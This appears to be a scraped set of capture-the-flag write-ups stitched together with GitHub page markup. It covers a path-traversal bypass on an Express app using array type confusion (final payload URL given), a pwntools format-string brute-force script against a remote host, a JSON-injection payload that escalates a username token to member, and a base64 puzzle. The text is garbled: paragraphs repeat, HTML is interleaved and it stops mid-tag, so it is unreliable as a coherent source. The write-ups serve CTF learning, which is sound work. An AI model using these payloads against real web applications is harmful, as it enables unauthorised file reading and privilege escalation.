source</span><span>const</span> <span>flag</span> <span>=</span> <span>'[REDACTED]'</span></div>That interesting... If we could read the source that the web server was hosting directly, I bet it would have the unredacted flag there..After more review of the code, I noticed the path traversal prevention for the path url parameter. The code finds any ../ strings in the path string and replaces them with an empty string, effectively removing direct path traversal attempts of the path parameter (even with URL encoding applied).<div class="highlight highlight-source-js notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="//Prevent directory traversal attackfunction preventTraversal(dir){ if(dir.includes('../')){ let res = dir.replace('../', '') return preventTraversal(res) } The challenge also provides the source file for index.js. After downloading the source code and reviewing, the application looks like a simple ExpressJS web server that returns a file via a path query parameter /page?path=index.html. One of the first things I noticed was a line in the source code displaying a flag variable: That interesting... If we could read the source that the web server was hosting directly, I bet it would have the unredacted flag there.. After more review of the code, I noticed the path traversal prevention for the path url parameter. The code finds any ../ strings in the path string and replaces them with an empty string, effectively removing direct path traversal attempts of the path parameter (even with URL encoding applied). //In case people want to test locally on windows if(dir.includes('..\\')){ let res = dir.replace('..\\', '') return preventTraversal(res) } return dir}"><span>//Prevent directory traversal attack</span><span>function</span> <span>preventTraversal</span><span>(</span><span>dir</span><span>)</span><span>{</span> <span>if</span><span>(</span><span>dir</span><span>.</span><span>includes</span><span>(</span><span>'../'</span><span>)</span><span>)</span><span>{</span> <span>let</span> <span>res</span> <span>=</span> <span>dir</span><span>.</span><span>replace</span><span>(</span><span>'../'</span><span>,</span> <span>''</span><span>)</span> <span>return</span> <span>preventTraversal</span><span>(</span><span>res</span><span>)</span> <span>}</span> <span>//In case people want to test locally on windows</span> <span>if</span><span>(</span><span>dir</span><span>.</span><span>includes</span><span>(</span><span>'..\\'</span><span>)</span><span>)</span><span>{</span> <span>let</span> <span>res</span> <span>=</span> <span>dir</span><span>.</span><span>replace</span><span>(</span><span>'..\\'</span><span>,</span> <span>''</span><span>)</span> <span>return</span> <span>preventTraversal</span><span>(</span><span>res</span><span>)</span> <span>}</span> <span>return</span> <span>dir</span><span>}</span></div>If I was going to be able to read the local index.js file, I was going to need a way to bypass the path traversal preventions that they've put in place. While hard, it didn't seem impossible.Hold on, thats not all though. There is also code that removed any leading characters that were not alphanumeric. This means that whatever payload I come up with will need to start with an alphanumeric number.<div class="highlight highlight-source-js notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="//Strip leading charactersfunction strip(dir){ const regex = /^[a-z0-9]$/im If I was going to be able to read the local index.js file, I was going to need a way to bypass the path traversal preventions that they've put in place. While hard, it didn't seem impossible. Hold on, thats not all though. There is also code that removed any leading characters that were not alphanumeric. This means that whatever payload I come up with will need to start with an alphanumeric number. //Remove first character if not alphanumeric if(!regex.test(dir[0])){ if(dir.length > 0){ return strip(dir.slice(1)) } return '' } return dir}"><span>//Strip leading characters</span><span>function</span> <span>strip</span><span>(</span><span>dir</span><span>)</span><span>{</span> <span>const</span> <span>regex</span> <span>=</span> <span><span>/</span><span>^</span><span>[</span>a-z0-9<span>]</span><span>$</span><span>/</span>im</span> <span>//Remove first character if not alphanumeric</span> <span>if</span><span>(</span><span>!</span><span>regex</span><span>.</span><span>test</span><span>(</span><span>dir</span><span>[</span><span>0</span><span>]</span><span>)</span><span>)</span><span>{</span> <span>if</span><span>(</span><span>dir</span><span>.</span><span>length</span> <span>></span> <span>0</span><span>)</span><span>{</span> <span>return</span> <span>strip</span><span>(</span><span>dir</span><span>.</span><span>slice</span><span>(</span><span>1</span><span>)</span><span>)</span> <span>}</span> <span>return</span> <span>''</span> <span>}</span> <span>return</span> <span>dir</span><span>}</span></div>After some quick inspection of the index.html page, I noticed there was an assets folder, so I figured ultimately, my payload would need to look something like assets/../../index.jsAfter many failed attempts and exhausting all possible encoding inputs for path traversal, I remembered that I didn't only have to submit the path parameter as a string. If the application was expecting a string but did not do any type validation, it would be possible to control the flow of the code by passing it a type that it wasn't designed to work with, such as an object or an array!Passing something like the following to the path parameter, https://tux-fanpage.2020.redpwnc.tf/page?path[]=a&path[]=b, we can convert it to an array. Because of the loosely typed nature of javascript, if the object that we pass has some of the same methods and properties that the string type has, we may be able to have it skirt the security checks and get path traversal. Luckily, the methods that are called against the path string, the array object also has! Specifically, .includes('../') and concating the array with a string.One important thing to remember with an array, is that when an array is converted to a string, either by calling .toString() or by concatenating it with another string, like how the path parameter is in the below code,<div class="highlight highlight-source-js notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content=" res.sendFile(prepare(path), (err) => { if(err){ if (! res.headersSent) { try { res.send(strip(req.query.path) + ' not found') } catch { res.end() } } } }) //Get absolute path from relative pathfunction prepare(dir){ return path.resolve('./public/' + dir)}"> <span>res</span><span>.</span><span>sendFile</span><span>(</span><span>prepare</span><span>(</span><span>path</span><span>)</span><span>,</span> <span>(</span><span>err</span><span>)</span> <span>=></span> <span>{</span> <span>if</span><span>(</span><span>err</span><span>)</span><span>{</span> <span>if</span> <span>(</span><span>!</span> <span>res</span><span>.</span><span>headersSent</span><span>)</span> <span>{</span> <span>try</span> <span>{</span> <span>res</span><span>.</span><span>send</span><span>(</span><span>strip</span><span>(</span><span>req</span><span>.</span><span>query</span><span>.</span><span>path</span><span>)</span> <span>+</span> <span>' not found'</span><span>)</span> <span>}</span> <span>catch</span> <span>{</span> <span>res</span><span>.</span><span>end</span><span>(</span><span>)</span> <span>}</span> <span>}</span> <span>}</span> <span>}</span><span>)</span> <span>//Get absolute path from relative path</span><span>function</span> <span>prepare</span><span>(</span><span>dir</span><span>)</span><span>{</span> <span>return</span> <span>path</span><span>.</span><span>resolve</span><span>(</span><span>'./public/'</span> <span>+</span> <span>dir</span><span>)</span><span>}</span></div>it will concatenate all of the members of the array into a string but will also place a comma between each members string representation. For example, in this url, https://tux-fanpage.2020.redpwnc.tf/page?path[]=a&path[]=b, the path parameter's string representation will look like this: a,b.This is important to note because when the path url query parameter is concatenated with the ./public/ string, the commas can affect whether the correct path is resolved or not.<h1 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Solution</h1>Putting this all together, we can construct the below URL to successfully gain path traversal and grab our flag!https://tux-fanpage.2020.redpwnc.tf/page?path[]=a&path[]=/../../index.js</article> </div> </div> After some quick inspection of the index.html page, I noticed there was an assets folder, so I figured ultimately, my payload would need to look something like assets/../../index.js After many failed attempts and exhausting all possible encoding inputs for path traversal, I remembered that I didn't only have to submit the path parameter as a string. If the application was expecting a string but did not do any type validation, it would be possible to control the flow of the code by passing it a type that it wasn't designed to work with, such as an object or an array! Passing something like the following to the path parameter, https://tux-fanpage.2020.redpwnc.tf/page?path[]=a&path[]=b, we can convert it to an array. Because of the loosely typed nature of javascript, if the object that we pass has some of the same methods and properties that the string type has, we may be able to have it skirt the security checks and get path traversal. Luckily, the methods that are called against the path string, the array object also has! Specifically, .includes('../') and concating the array with a string. One important thing to remember with an array, is that when an array is converted to a string, either by calling .toString() or by concatenating it with another string, like how the path parameter is in the below code, it will concatenate all of the members of the array into a string but will also place a comma between each members string representation. For example, in this url, https://tux-fanpage.2020.redpwnc.tf/page?path[]=a&path[]=b, the path parameter's string representation will look like this: a,b. This is important to note because when the path url query parameter is concatenated with the ./public/ string, the commas can affect whether the correct path is resolved or not. Putting this all together, we can construct the below URL to successfully gain path traversal and grab our flag! https://tux-fanpage.2020.redpwnc.tf/page?path[]=a&path[]=/../../index.js </readme-toc> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
This was a simple format string vulnerability , wrote a simple script to brute force the offset ```from pwn import * for i in range(10): s = remote('2020.redpwnc.tf', 31826) s.recvuntil('?\n') s.sendline("%"+str(i) + "$s") response = s.recv() print(response)```
Provided witha simple site where we can put username, there seems to be a member only fact, which has the flag Going through the provided source code I noticed they were using JSON.parse and JSON.stringify to decode the JSON from tokens. The token JSON was generated as below then encrypted```const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}````No sanitization was done on username, and we have full control over that, so we can overwrite the existing keys. Gave username as `a","member":1,"username":"anandu` And we can now view the member only fact, which gives the flag as flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}
# base646464 Author: [roerohan](https://github.com/roerohan) Base 64, base 64, base 64 ... 25 times. # Requirements - Basic Knowledge of Node.js # Source - [generate.js](./generate.js)- [cipher.txt](./cipher.txt) # Exploitation You have to decode base64 25 times. ```javascript// Flag is base 64 encoded 25 timeslet ret = flag;for(let i = 0; i < 25; i++) ret = btoa(ret);``` Of course, you can use bash XD: ```bashcat cipher.txt | base64 -d | base64 -d |base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -dflag{l00ks_l1ke_a_l0t_of_64s}``` You can use python too: ```python>>> f = open('cipher.txt').read()>>> import base64>>> for i in range(25):... f = base64.b64decode(f)... >>> print(f)b'flag{l00ks_l1ke_a_l0t_of_64s}'``` The flag is: ```flag{l00ks_l1ke_a_l0t_of_64s}```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="98B0:0F2B:6A71D89:6D6AD99:64121F51" data-pjax-transient="true"/><meta name="html-safe-nonce" content="13773cfc3e9b62fd0154c8ae660619b3b9b7134770e2234daaf4773dabf06022" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5OEIwOjBGMkI6NkE3MUQ4OTo2RDZBRDk5OjY0MTIxRjUxIiwidmlzaXRvcl9pZCI6IjU4MzA0MzYwMjAzMDc1MDA4ODEiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="7c5b57387afa990fd648f353923388a94fb9b33d2f94dc21f6f70ba8bc4283e0" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:268353024" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/ac342befed4cf97ff0c7ddb1fbb300107da46a3c7a8154cbd039537ba9d43827/noob-atbash/CTF-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /><meta name="twitter:description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /> <meta property="og:image" content="https://opengraph.githubassets.com/ac342befed4cf97ff0c7ddb1fbb300107da46a3c7a8154cbd039537ba9d43827/noob-atbash/CTF-writeups" /><meta property="og:image:alt" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /><meta property="og:url" content="https://github.com/noob-atbash/CTF-writeups" /><meta property="og:description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" 